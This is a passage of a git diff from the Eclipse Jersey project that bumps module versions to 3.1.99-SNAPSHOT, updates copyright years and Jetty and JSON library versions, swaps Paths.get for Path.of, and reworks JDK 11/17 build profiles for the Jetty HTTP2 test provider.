-        <jsonb.api.version>2.0.0</jsonb.api.version>
-        <jsonp.ri.version>1.0.5</jsonp.ri.version>
-        <jsonp.jaxrs.version>1.0.5</jsonp.jaxrs.version>
-        <moxy.version>3.0.4</moxy.version>
-        <yasson.version>2.0.4</yasson.version>
+        <jetty.version>12.0.14</jetty.version>
+        <jetty9.version>9.4.56.v20240826</jetty9.version>
+        <jetty11.version>11.0.24</jetty11.version>
+        <jetty.plugin.version>12.0.8</jetty.plugin.version>
+        <jsonb.api.version>3.0.1</jsonb.api.version>
+        <jsonp.ri.version>1.1.7</jsonp.ri.version>
+        <jsonp.jaxrs.version>1.1.7</jsonp.jaxrs.version>
+        <moxy.version>4.0.4</moxy.version>
+        <yasson.version>3.0.4</yasson.version>
         <!-- END of Jakartified -->
 
         <javax.annotation.version>1.3.2</javax.annotation.version> <!--Deprecated, used only for @generated annotation in perf tests -->
diff --git a/security/oauth1-client/pom.xml b/security/oauth1-client/pom.xml
index 750ec8d..e891b23 100644
--- a/security/oauth1-client/pom.xml
+++ b/security/oauth1-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>oauth1-client</artifactId>
diff --git a/security/oauth1-server/pom.xml b/security/oauth1-server/pom.xml
index d59a01e..01fed91 100644
--- a/security/oauth1-server/pom.xml
+++ b/security/oauth1-server/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>oauth1-server</artifactId>
diff --git a/security/oauth1-signature/pom.xml b/security/oauth1-signature/pom.xml
index 562f7a2..9bbe6c0 100644
--- a/security/oauth1-signature/pom.xml
+++ b/security/oauth1-signature/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/security/oauth2-client/pom.xml b/security/oauth2-client/pom.xml
index b0b9e0e..1b752a2 100644
--- a/security/oauth2-client/pom.xml
+++ b/security/oauth2-client/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2013, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2013, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <groupId>org.glassfish.jersey.security</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
diff --git a/security/pom.xml b/security/pom.xml
index bfe13e6..391868b 100644
--- a/security/pom.xml
+++ b/security/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2011, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2011, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.security</groupId>
diff --git a/test-framework/core/pom.xml b/test-framework/core/pom.xml
index c26482f..b97ef75 100644
--- a/test-framework/core/pom.xml
+++ b/test-framework/core/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-core</artifactId>
@@ -40,7 +40,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
         </dependency>
         <dependency>
             <groupId>org.glassfish.jersey.core</groupId>
diff --git a/test-framework/maven/container-runner-maven-plugin/pom.xml b/test-framework/maven/container-runner-maven-plugin/pom.xml
index 21bbfd3..2790aed 100644
--- a/test-framework/maven/container-runner-maven-plugin/pom.xml
+++ b/test-framework/maven/container-runner-maven-plugin/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.maven</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>container-runner-maven-plugin</artifactId>
@@ -304,44 +304,5 @@
                 </pluginManagement>
             </build>
         </profile>
-        <profile>
-            <id>jdk_8</id>
-            <activation>
-                <jdk>1.8</jdk>
-            </activation>
-            <properties>
-                <groovy.version>${groovy.jdk8.version}</groovy.version>
-            </properties>
-            <dependencies>
-                <dependency>
-                    <groupId>org.apache.groovy</groupId>
-                    <artifactId>groovy-all</artifactId>
-                    <type>pom</type>
-                    <version>${groovy.version}</version>
-                    <exclusions>
-                        <exclusion>
-                            <groupId>com.fasterxml.jackson.core</groupId>
-                            <artifactId>jackson-core</artifactId>
-                        </exclusion>
-                        <exclusion>
-                            <groupId>com.fasterxml.jackson.core</groupId>
-                            <artifactId>jackson-databind</artifactId>
-                        </exclusion>
-                        <exclusion>
-                            <groupId>org.junit.jupiter</groupId>
-                            <artifactId>junit-jupiter-api</artifactId>
-                        </exclusion>
-                        <exclusion>
-                            <groupId>org.junit.jupiter</groupId>
-                            <artifactId>junit-jupiter-engine</artifactId>
-                        </exclusion>
-                        <exclusion>
-                            <groupId>org.junit.platform</groupId>
-                            <artifactId>junit-platform-commons</artifactId>
-                        </exclusion>
-                    </exclusions>
-                </dependency>
-            </dependencies>
-        </profile>
     </profiles>
 </project>
diff --git a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/RunnerMojo.groovy b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/RunnerMojo.groovy
index b04c36b..865afb7 100644
--- a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/RunnerMojo.groovy
+++ b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/RunnerMojo.groovy
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 import org.apache.maven.project.MavenProject
 
 import java.nio.file.Files
-import java.nio.file.Paths
+import java.nio.file.Path
 import java.util.regex.Pattern
 
 /**
@@ -96,7 +96,7 @@
 
         def command = string.split(" +(?=((.*?(?<!\\\\)'){2})*[^']*\$)")
 
-        return command?.length > 0 && Files.exists(Paths.get(command[0])) ? command : ["sh"]
+        return command?.length > 0 && Files.exists(Path.of(command[0])) ? command : ["sh"]
     }
 
     abstract Map commonEnvironment()
@@ -184,8 +184,8 @@
             sb.append(System.lineSeparator())
             def matcher = Pattern.compile("(#![^\r\n]*)(.*)", Pattern.DOTALL).matcher(new String(shellContent))
             def string = matcher.matches() ? matcher.replaceFirst("\$1${sb.toString()}\$2") : sb.append(shellContent).toString()
-            Paths.get(scriptsDirectory).toFile().mkdirs()
-            def reExecutableShell = Paths.get(scriptsDirectory, Paths.get(shell).fileName.toString())
+            Path.of(scriptsDirectory).toFile().mkdirs()
+            def reExecutableShell = Path.of(scriptsDirectory, Path.of(shell).fileName.toString())
             Files.write(reExecutableShell, string.bytes)
             getLog().info("Re-executable shell written to: $reExecutableShell")
         } catch (Exception e) {
diff --git a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/gf4/AbstractGlassfishRunnerMojo.groovy b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/gf4/AbstractGlassfishRunnerMojo.groovy
index c72b020..9d8a6ba 100644
--- a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/gf4/AbstractGlassfishRunnerMojo.groovy
+++ b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/gf4/AbstractGlassfishRunnerMojo.groovy
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import org.codehaus.gmavenplus.mojo.AbstractGroovyMojo
 import org.glassfish.jersey.test.maven.runner.RunnerMojo
 
-import java.nio.file.Paths
+import java.nio.file.Path
 /**
  * Abstract class for all Glassfish4 related mojos.
  *
@@ -58,8 +58,8 @@
 
     @Override
     void execute() throws MojoExecutionException, MojoFailureException {
-        asHome = Paths.get(asHome).isAbsolute() ? asHome : Paths.get(distDir, distSubdir, asHome)
-        logFile = Paths.get(logFile).isAbsolute()? logFile : Paths.get(asHome, "domains", domain, "logs", logFile)
+        asHome = Path.of(asHome).isAbsolute() ? asHome : Path.of(distDir, distSubdir, asHome)
+        logFile = Path.of(logFile).isAbsolute()? logFile : Path.of(asHome, "domains", domain, "logs", logFile)
         executeRunner()
     }
 
diff --git a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/tomcat/AbstractTomcatRunnerMojo.groovy b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/tomcat/AbstractTomcatRunnerMojo.groovy
index d98b59d..2b041e8 100644
--- a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/tomcat/AbstractTomcatRunnerMojo.groovy
+++ b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/tomcat/AbstractTomcatRunnerMojo.groovy
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import org.codehaus.gmavenplus.mojo.AbstractGroovyMojo
 import org.glassfish.jersey.test.maven.runner.RunnerMojo
 
-import java.nio.file.Paths
+import java.nio.file.Path
 /**
  * Abstract class for all Tomcat related mojos.
  *
@@ -47,8 +47,8 @@
 
     @Override
     void execute() throws MojoExecutionException, MojoFailureException {
-        catalinaHome = Paths.get(catalinaHome).isAbsolute() ? catalinaHome : Paths.get(distDir, distSubdir, catalinaHome)
-        logFile = logFile ?: Paths.get(catalinaHome, "logs", "catalina.out").toString()
+        catalinaHome = Path.of(catalinaHome).isAbsolute() ? catalinaHome : Path.of(distDir, distSubdir, catalinaHome)
+        logFile = logFile ?: Path.of(catalinaHome, "logs", "catalina.out").toString()
         executeRunner()
     }
 
diff --git a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/wls/AbstractWlsRunnerMojo.groovy b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/wls/AbstractWlsRunnerMojo.groovy
index 3fa9ffd..6232472 100644
--- a/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/wls/AbstractWlsRunnerMojo.groovy
+++ b/test-framework/maven/container-runner-maven-plugin/src/main/groovy/org/glassfish/jersey/test/maven/runner/wls/AbstractWlsRunnerMojo.groovy
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2018 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
 import org.codehaus.gmavenplus.mojo.AbstractGroovyMojo
 import org.glassfish.jersey.test.maven.runner.RunnerMojo
 
-import java.nio.file.Paths
+import java.nio.file.Path
 
 /**
  * Abstract class for all Weblogic related mojos.
@@ -52,8 +52,8 @@
 
     @Override
     void execute() throws MojoExecutionException, MojoFailureException {
-        mwHome = Paths.get(mwHome).isAbsolute() ? mwHome : Paths.get(distDir, distSubdir, mwHome)
-        logFile = logFile ?: Paths.get(mwHome, domain, "wls.log").toString()
+        mwHome = Path.of(mwHome).isAbsolute() ? mwHome : Path.of(distDir, distSubdir, mwHome)
+        logFile = logFile ?: Path.of(mwHome, domain, "wls.log").toString()
         executeRunner()
     }
 
diff --git a/test-framework/maven/custom-enforcer-rules/pom.xml b/test-framework/maven/custom-enforcer-rules/pom.xml
index 5f702fc..439443e 100644
--- a/test-framework/maven/custom-enforcer-rules/pom.xml
+++ b/test-framework/maven/custom-enforcer-rules/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.maven</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>custom-enforcer-rules</artifactId>
diff --git a/test-framework/maven/pom.xml b/test-framework/maven/pom.xml
index 66da100..aed9cc7 100644
--- a/test-framework/maven/pom.xml
+++ b/test-framework/maven/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.test-framework.maven</groupId>
diff --git a/test-framework/memleak-test-common/pom.xml b/test-framework/memleak-test-common/pom.xml
index be40dbf..7159554 100644
--- a/test-framework/memleak-test-common/pom.xml
+++ b/test-framework/memleak-test-common/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2015, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2015, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>memleak-test-common</artifactId>
diff --git a/test-framework/memleak-test-common/src/main/java/org/glassfish/jersey/test/memleak/common/MemoryLeakUtils.java b/test-framework/memleak-test-common/src/main/java/org/glassfish/jersey/test/memleak/common/MemoryLeakUtils.java
index d519d3f..ecfe68e 100644
--- a/test-framework/memleak-test-common/src/main/java/org/glassfish/jersey/test/memleak/common/MemoryLeakUtils.java
+++ b/test-framework/memleak-test-common/src/main/java/org/glassfish/jersey/test/memleak/common/MemoryLeakUtils.java
@@ -1,5 +1,5 @@
 /*
- * Copyright (c) 2015, 2022 Oracle and/or its affiliates. All rights reserved.
+ * Copyright (c) 2015, 2023 Oracle and/or its affiliates. All rights reserved.
  *
  * This program and the accompanying materials are made available under the
  * terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
 import java.lang.reflect.Method;
 import java.nio.charset.Charset;
 import java.nio.file.Files;
-import java.nio.file.Paths;
+import java.nio.file.Path;
 import java.util.Arrays;
 import java.util.List;
 import java.util.regex.Pattern;
@@ -121,7 +121,7 @@
             throws InvocationTargetException, IllegalAccessException, ClassNotFoundException, NoSuchMethodException, IOException {
         conditionallyInitHotSpotDiagnosticMXBean();
         try {
-            java.nio.file.Files.deleteIfExists(Paths.get(fileName));
+            java.nio.file.Files.deleteIfExists(Path.of(fileName));
         } catch (IOException e) {
             // do nothing and try to go further
         }
diff --git a/test-framework/pom.xml b/test-framework/pom.xml
index 5d7da44..035c115 100644
--- a/test-framework/pom.xml
+++ b/test-framework/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -22,7 +22,7 @@
     <parent>
         <groupId>org.glassfish.jersey</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <groupId>org.glassfish.jersey.test-framework</groupId>
diff --git a/test-framework/providers/bundle/pom.xml b/test-framework/providers/bundle/pom.xml
index ec8f3bc..567e835 100644
--- a/test-framework/providers/bundle/pom.xml
+++ b/test-framework/providers/bundle/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2012, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2012, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-bundle</artifactId>
diff --git a/test-framework/providers/external/pom.xml b/test-framework/providers/external/pom.xml
index 53c0504..de96b04 100644
--- a/test-framework/providers/external/pom.xml
+++ b/test-framework/providers/external/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-external</artifactId>
diff --git a/test-framework/providers/grizzly2/pom.xml b/test-framework/providers/grizzly2/pom.xml
index b3fd19e..5f02011 100644
--- a/test-framework/providers/grizzly2/pom.xml
+++ b/test-framework/providers/grizzly2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-grizzly2</artifactId>
@@ -36,7 +36,6 @@
         <dependency>
             <groupId>jakarta.servlet</groupId>
             <artifactId>jakarta.servlet-api</artifactId>
-            <version>${servlet5.version}</version>
         </dependency>
 
         <dependency>
diff --git a/test-framework/providers/inmemory/pom.xml b/test-framework/providers/inmemory/pom.xml
index 7af40a2..43304a5 100644
--- a/test-framework/providers/inmemory/pom.xml
+++ b/test-framework/providers/inmemory/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-inmemory</artifactId>
diff --git a/test-framework/providers/jdk-http/pom.xml b/test-framework/providers/jdk-http/pom.xml
index 56fce13..a2aa21e 100644
--- a/test-framework/providers/jdk-http/pom.xml
+++ b/test-framework/providers/jdk-http/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2010, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2010, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -23,7 +23,7 @@
     <parent>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
         <artifactId>project</artifactId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
 
     <artifactId>jersey-test-framework-provider-jdk-http</artifactId>
diff --git a/test-framework/providers/jetty-http2/pom.xml b/test-framework/providers/jetty-http2/pom.xml
index caffc01..fb76dcf 100644
--- a/test-framework/providers/jetty-http2/pom.xml
+++ b/test-framework/providers/jetty-http2/pom.xml
@@ -1,7 +1,7 @@
 <?xml version="1.0" encoding="UTF-8"?>
 <!--
 
-    Copyright (c) 2023, 2024 Oracle and/or its affiliates. All rights reserved.
+    Copyright (c) 2023, 2025 Oracle and/or its affiliates. All rights reserved.
 
     This program and the accompanying materials are made available under the
     terms of the Eclipse Public License v. 2.0, which is available at
@@ -21,7 +21,7 @@
     <parent>
         <artifactId>project</artifactId>
         <groupId>org.glassfish.jersey.test-framework.providers</groupId>
-        <version>3.0.99-SNAPSHOT</version>
+        <version>3.1.99-SNAPSHOT</version>
     </parent>
     <modelVersion>4.0.0</modelVersion>
 
@@ -31,6 +31,13 @@
 
     <description>Jersey Test Framework - Jetty HTTP2 container</description>
 
+    <properties>
+        <java11.build.outputDirectory>${project.basedir}/target</java11.build.outputDirectory>
+        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
+        <java17.build.outputDirectory>${project.basedir}/target17</java17.build.outputDirectory>
+        <java17.sourceDirectory>${project.basedir}/src/main/java17</java17.sourceDirectory>
+    </properties>
+
     <dependencies>
         <dependency>
             <groupId>org.glassfish.jersey.test-framework</groupId>
@@ -44,56 +51,15 @@
         </dependency>
     </dependencies>
 
-    <properties>
-        <java8.build.outputDirectory>${project.basedir}/target</java8.build.outputDirectory>
-        <java8.sourceDirectory>${project.basedir}/src/main/java8</java8.sourceDirectory>
-        <java11.build.outputDirectory>${project.basedir}/target11</java11.build.outputDirectory>
-        <java11.sourceDirectory>${project.basedir}/src/main/java11</java11.sourceDirectory>
-    </properties>
-
     <profiles>
         <profile>
             <id>JettyExclude</id>
             <activation>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
-            <build>
-                <directory>${java8.build.outputDirectory}</directory>
-                <plugins>
-                    <plugin>
-                        <groupId>org.codehaus.mojo</groupId>
-                        <artifactId>build-helper-maven-plugin</artifactId>
-                        <executions>
-                            <execution>
-                                <phase>generate-sources</phase>
-                                <goals>
-                                    <goal>add-source</goal>
-                                </goals>
-                                <configuration>
-                                    <sources>
-                                        <source>${java8.sourceDirectory}</source>
-                                    </sources>
-                                </configuration>
-                            </execution>
-                        </executions>
-                    </plugin>
-                    <plugin>
-                        <groupId>org.apache.maven.plugins</groupId>
-                        <artifactId>maven-compiler-plugin</artifactId>
-                        <configuration>
-                            <testExcludes>
-                                <testExclude>org/glassfish/jersey/test/jetty/http2/*.java</testExclude>
-                            </testExcludes>
-                        </configuration>
-                    </plugin>
-                </plugins>
-            </build>
-        </profile>
-        <profile>
-            <id>Jetty11</id>
-            <activation>
-                <jdk>[11,)</jdk>
-            </activation>
+            <properties>
+                <jetty.version>${jetty11.version}</jetty.version>
+            </properties>
             <build>
                 <directory>${java11.build.outputDirectory}</directory>
                 <plugins>
@@ -114,17 +80,54 @@
                             </execution>
                         </executions>
                     </plugin>
+                    <plugin>
+                        <groupId>org.apache.maven.plugins</groupId>
+                        <artifactId>maven-compiler-plugin</artifactId>
+                        <configuration>
+                            <testExcludes>
+                                <testExclude>org/glassfish/jersey/test/jetty/http2/*.java</testExclude>
+                            </testExcludes>
+                        </configuration>
+                    </plugin>
                 </plugins>
             </build>
         </profile>
         <profile>
-            <id>copyJDK11FilesToMultiReleaseJar</id>
+            <id>Jetty17</id>
+            <activation>
+                <jdk>[17,)</jdk>
+            </activation>
+            <build>
+                <directory>${java17.build.outputDirectory}</directory>
+                <plugins>
+                    <plugin>
+                        <groupId>org.codehaus.mojo</groupId>
+                        <artifactId>build-helper-maven-plugin</artifactId>
+                        <executions>
+                            <execution>
+                                <phase>generate-sources</phase>
+                                <goals>
+                                    <goal>add-source</goal>
+                                </goals>
+                                <configuration>
+                                    <sources>
+                                        <source>${java17.sourceDirectory}</source>
+                                    </sources>
+                                </configuration>
+                            </execution>
+                        </executions>
+                    </plugin>
+                </plugins>
+            </build>
+        </profile>
+        <profile>
+            <id>copyJDK17FilesToMultiReleaseJar</id>
             <activation>
                 <file>
                     <!-- ${java11.build.outputDirectory} does not work here -->
-                    <exists>target11/classes/org/glassfish/jersey/test/jetty/JettyHttp2TestContainerFactory.class</exists>
+                    <exists>target17/classes/org/glassfish/jersey/test/jetty/http2/JettyHttp2TestContainerFactory.class</exists>
                 </file>
-                <jdk>1.8</jdk>
+                <jdk>[11,17)</jdk>
             </activation>
             <build>
                 <plugins>
@@ -145,16 +148,16 @@
                         <inherited>true</inherited>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-classes</id>
+                                <id>copy-jdk17-classes</id>
                                 <phase>prepare-package</phase>
                                 <goals>
                                     <goal>copy-resources</goal>
                                 </goals>
                                 <configuration>
-                                    <outputDirectory>${java8.build.outputDirectory}/classes/META-INF/versions/11</outputDirectory>
+                                    <outputDirectory>${java11.build.outputDirectory}/classes/META-INF/versions/17</outputDirectory>
                                     <resources>
                                         <resource>
-                                            <directory>${java11.build.outputDirectory}/classes</directory>
+                                            <directory>${java17.build.outputDirectory}/classes</directory>
                                         </resource>
                                     </resources>
                                 </configuration>
@@ -166,14 +169,14 @@
                         <artifactId>maven-antrun-plugin</artifactId>
                         <executions>
                             <execution>
-                                <id>copy-jdk11-sources</id>
+                                <id>copy-jdk17-sources</id>
                                 <phase>package</phase>
                                 <configuration>
                                     <target>
-                                        <property name="sources-jar" value="${java8.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
+                                        <property name="sources-jar" value="${java11.build.outputDirectory}/${project.artifactId}-${project.version}-sources.jar"/>
                                         <echo>sources-jar: ${sources-jar}</echo>
                                         <zip destfile="${sources-jar}" update="true">
